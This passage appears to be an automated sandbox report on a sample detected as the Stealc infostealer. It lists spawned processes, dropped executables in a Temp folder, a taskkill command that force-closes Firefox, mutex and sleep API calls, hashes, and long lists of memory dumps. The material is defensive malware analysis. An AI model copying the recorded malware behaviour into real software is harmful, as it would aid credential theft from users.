MD5 hash:	3A76AB70C01DA0F818F89BFE4E904EE3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000003.3258280474.0000000004C90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.3351423687.0000000000728000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.3354435913.0000000000A81000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	15:09:50
Start date:	09/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2352 -parentBuildID 20230927232528 -prefsHandle 2288 -prefMapHandle 2284 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {745b1038-6b91-4698-a3f0-64664cce277e} 1892 "\\.\pipe\gecko-crash-server-pipe.1892" 2149b56f910 socket
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	15:09:54
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe"
Imagebase:	0x60000
File size:	2'793'472 bytes
MD5 hash:	BB21543A1E27325F9EA87BAB89FACF4B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	15:09:54
Start date:	09/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4360 -parentBuildID 20230927232528 -prefsHandle 4316 -prefMapHandle 4328 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5763664d-1f38-4c19-9998-65a89666960a} 1892 "\\.\pipe\gecko-crash-server-pipe.1892" 214adcdc110 rdd
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	15:09:58
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe"
Imagebase:	0xea0000
File size:	973'312 bytes
MD5 hash:	3F7BA360C993567431731DD9E8EB6A67
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	15:10:01
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x170000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	15:10:01
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.7%
Total number of Nodes:	767
Total number of Limit Nodes:	16

Executed Functions

Function 00F7652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,00F7652A,?,?,?,?,?,00F77661), ref: 00F76566

Memory Dump Source

Source File: 00000000.00000002.2160499744.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.2160481470.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160499744.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160582688.0000000000FA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160602010.0000000000FAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160620833.0000000000FB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160637404.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160656189.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160846468.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160868655.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160901644.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160921646.000000000112C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.000000000112E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160989653.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161052164.000000000113F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161288601.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161522313.0000000001151000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161550389.0000000001166000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161576796.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161658216.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161679655.0000000001192000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161698846.000000000119A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161718517.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161747097.00000000011A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161767471.00000000011AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161786836.00000000011AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161806756.00000000011AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161827957.00000000011BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161846851.00000000011BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161865361.00000000011BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161882699.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161903179.00000000011CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161921001.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161941344.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161958553.00000000011D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161983324.00000000011E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.00000000011E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.0000000001219000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162068904.0000000001233000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162087842.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162109453.000000000124A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162130377.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162146506.000000000124C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162165584.0000000001250000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162181230.0000000001252000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162209186.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162225199.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: ee7e25cf6f0d801615328c34b33e5e54cf90404ab2b92820f2f25c43e18fc631
Instruction ID: eab37a614671cf01737db800fe75bd0cc41516134d1bffe1b2d593b25dac4d63
Opcode Fuzzy Hash: ee7e25cf6f0d801615328c34b33e5e54cf90404ab2b92820f2f25c43e18fc631
Instruction Fuzzy Hash: E7E086304415086ECE267B18CC15D493B5BEB41754F048911FD08C7532CB25ED91E582

Function 04880C3A Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2163389717.0000000004880000.00000040.00001000.00020000.00000000.sdmp, Offset: 04880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4880000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a89c992299c9c8551eebca68a954e917d19876e3234dbde17bbc145a0c83a318
Instruction ID: 9c668fb732b6cbf1f695801305d2c8a5233c83c989f05757b391ec35fc55a79b
Opcode Fuzzy Hash: a89c992299c9c8551eebca68a954e917d19876e3234dbde17bbc145a0c83a318
Instruction Fuzzy Hash: A71129FB24D118BDB551A5892B549F66A6EE6D33343328F2FF843C1502E2942A5C7132

Function 00F45C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000419, xrefs: 00F46098
0000043f, xrefs: 00F4612B
00000423, xrefs: 00F460FA
Keyboard Layout\Preload, xrefs: 00F46054
00000422, xrefs: 00F460C9

Memory Dump Source

Source File: 00000000.00000002.2160499744.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.2160481470.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160499744.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160582688.0000000000FA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160602010.0000000000FAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160620833.0000000000FB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160637404.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160656189.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160846468.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160868655.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160901644.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160921646.000000000112C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.000000000112E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160989653.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161052164.000000000113F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161288601.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161522313.0000000001151000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161550389.0000000001166000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161576796.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161658216.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161679655.0000000001192000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161698846.000000000119A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161718517.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161747097.00000000011A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161767471.00000000011AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161786836.00000000011AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161806756.00000000011AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161827957.00000000011BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161846851.00000000011BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161865361.00000000011BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161882699.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161903179.00000000011CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161921001.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161941344.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161958553.00000000011D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161983324.00000000011E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.00000000011E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.0000000001219000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162068904.0000000001233000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162087842.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162109453.000000000124A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162130377.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162146506.000000000124C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162165584.0000000001250000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162181230.0000000001252000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162209186.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162225199.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 3075d21847a2b4917c4bc1ae74a5fe5531aaf20192f2a4443a3fd2ead7183ab2
Instruction ID: 2b0dcfc15a9c2cfc7ab4d78df03c721c40bea453a5ba57400f1f5653af4d0ee0
Opcode Fuzzy Hash: 3075d21847a2b4917c4bc1ae74a5fe5531aaf20192f2a4443a3fd2ead7183ab2
Instruction Fuzzy Hash: 19F1D1709002589BEF24DF58CC84BDEBBB9EF45704F504699F908E7281DB74AA88DF91

Function 00F49BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00F4A963
CreateMutexA.KERNEL32(00000000,00000000,00FA3254), ref: 00F4A981

Memory Dump Source

Source File: 00000000.00000002.2160499744.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.2160481470.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160499744.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160582688.0000000000FA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160602010.0000000000FAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160620833.0000000000FB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160637404.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160656189.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160846468.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160868655.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160901644.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160921646.000000000112C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.000000000112E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160989653.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161052164.000000000113F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161288601.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161522313.0000000001151000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161550389.0000000001166000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161576796.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161658216.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161679655.0000000001192000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161698846.000000000119A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161718517.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161747097.00000000011A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161767471.00000000011AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161786836.00000000011AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161806756.00000000011AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161827957.00000000011BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161846851.00000000011BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161865361.00000000011BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161882699.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161903179.00000000011CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161921001.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161941344.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161958553.00000000011D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161983324.00000000011E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.00000000011E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.0000000001219000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162068904.0000000001233000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162087842.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162109453.000000000124A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162130377.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162146506.000000000124C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162165584.0000000001250000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162181230.0000000001252000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162209186.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162225199.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 475f15718a5454448e910e078b88ad53a5fdd667dcddaaf99ebb6b3862090965
Instruction ID: 94f29e5adebdee69d621262f4bc21afc7e8b0374b46fb982e8e62ee61f68020b
Opcode Fuzzy Hash: 475f15718a5454448e910e078b88ad53a5fdd667dcddaaf99ebb6b3862090965
Instruction Fuzzy Hash: A7318A71B442048BEB18DB7CDCC5B5EBF62EBC2324F204619E804D72E5C7B98980A752

Function 00F49F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00F4A963
CreateMutexA.KERNEL32(00000000,00000000,00FA3254), ref: 00F4A981

Memory Dump Source

Source File: 00000000.00000002.2160499744.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.2160481470.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160499744.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160582688.0000000000FA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160602010.0000000000FAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160620833.0000000000FB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160637404.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160656189.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160846468.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160868655.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160901644.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160921646.000000000112C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.000000000112E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160989653.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161052164.000000000113F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161288601.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161522313.0000000001151000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161550389.0000000001166000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161576796.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161658216.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161679655.0000000001192000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161698846.000000000119A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161718517.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161747097.00000000011A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161767471.00000000011AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161786836.00000000011AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161806756.00000000011AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161827957.00000000011BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161846851.00000000011BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161865361.00000000011BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161882699.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161903179.00000000011CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161921001.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161941344.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161958553.00000000011D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161983324.00000000011E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.00000000011E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.0000000001219000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162068904.0000000001233000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162087842.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162109453.000000000124A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162130377.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162146506.000000000124C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162165584.0000000001250000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162181230.0000000001252000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162209186.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162225199.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e8c696a7f63f319cf73258c0c0703b5940dc0ab5d5a06673aeedc2ba087819e9
Instruction ID: 98ad147fcdf1ea5684ee68ef8aa6d255f7a6b6071cefabf368ac8f13f6e7719c
Opcode Fuzzy Hash: e8c696a7f63f319cf73258c0c0703b5940dc0ab5d5a06673aeedc2ba087819e9
Instruction Fuzzy Hash: 44319B317441048BFB18DB7CCC84BADBF62EB86324F204719E814D72D5C7799984A752

Function 00F4A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00F4A963
CreateMutexA.KERNEL32(00000000,00000000,00FA3254), ref: 00F4A981

Memory Dump Source

Source File: 00000000.00000002.2160499744.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.2160481470.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160499744.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160582688.0000000000FA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160602010.0000000000FAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160620833.0000000000FB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160637404.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160656189.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160846468.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160868655.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160901644.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160921646.000000000112C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.000000000112E000.00000040.00000001.01000000.00000003.sdmpDownload File
